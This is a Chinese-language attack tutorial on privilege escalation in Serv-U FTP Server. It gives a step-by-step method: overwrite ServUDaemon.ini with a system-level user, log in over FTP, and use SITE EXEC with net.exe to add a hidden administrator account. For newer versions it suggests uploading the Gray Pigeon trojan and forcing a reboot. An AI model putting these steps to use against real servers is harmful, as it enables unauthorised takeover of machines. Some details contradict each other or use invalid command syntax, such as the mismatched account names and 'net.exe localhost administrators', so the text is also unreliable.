Serv-U FTP Server远程/本地提升权限

farmer111

Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录，就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)

假设已经登陆到对方的计算机系统,并且取得了ServUDaemon.ini文件,而且可以进行编辑.

我们把ServUDaemon.ini down下来,并copy到本地Serv-U软件目录下,利用Serv-U软件添加用户

[USER=test|1]
Password=si4C45A74DD444F94C5829E498EE3C4882
HomeDir=c:\
TimeOut=600
Maintenance=System  ////权限类型
Access1=C:\|RWAMELCDP

添加一个test用户,密码testtest

然后保存到服务器Serv-U目录下,覆盖原有ServUDaemon.ini文件

现在我们可以登陆FTP,执行任意命令
ftp>open ip　　Connected to ip.
　　220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
　　User (ip:(none)): id //输入构造的用户
　　331 User name okay, please send complete E-mail address as password.
　　Password:password //密码
　　230 User logged in, proceed.
　　ftp> cd winnt //进入win2k的winnt目录，如果是winxp或者是windows server 2003就应该为windows目录。
　　250 Directory changed to /WINNT
　　ftp>cd system32 //进入system32目录
　　250 Directory changed to /WINNT/system32
　　ftp>quote site exec net.exe user Admin$ admin /add //利用系统的net.exe文件加用户。
　　200 EXEC command successful (TID=33).
　　ftp>quote site exec net.exe localhost administrators Admin$/add //提升为超级用户
　　这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。
经过测试,此方法对6.0版本的Serv-U没有什么作用,不能通过net.exe提权，我们可以上传一个木马,比如灰鸽子,通过运行灰鸽子来提权.

还有,需要重新启动计算机,可以用iisreset /reboot 来重新启动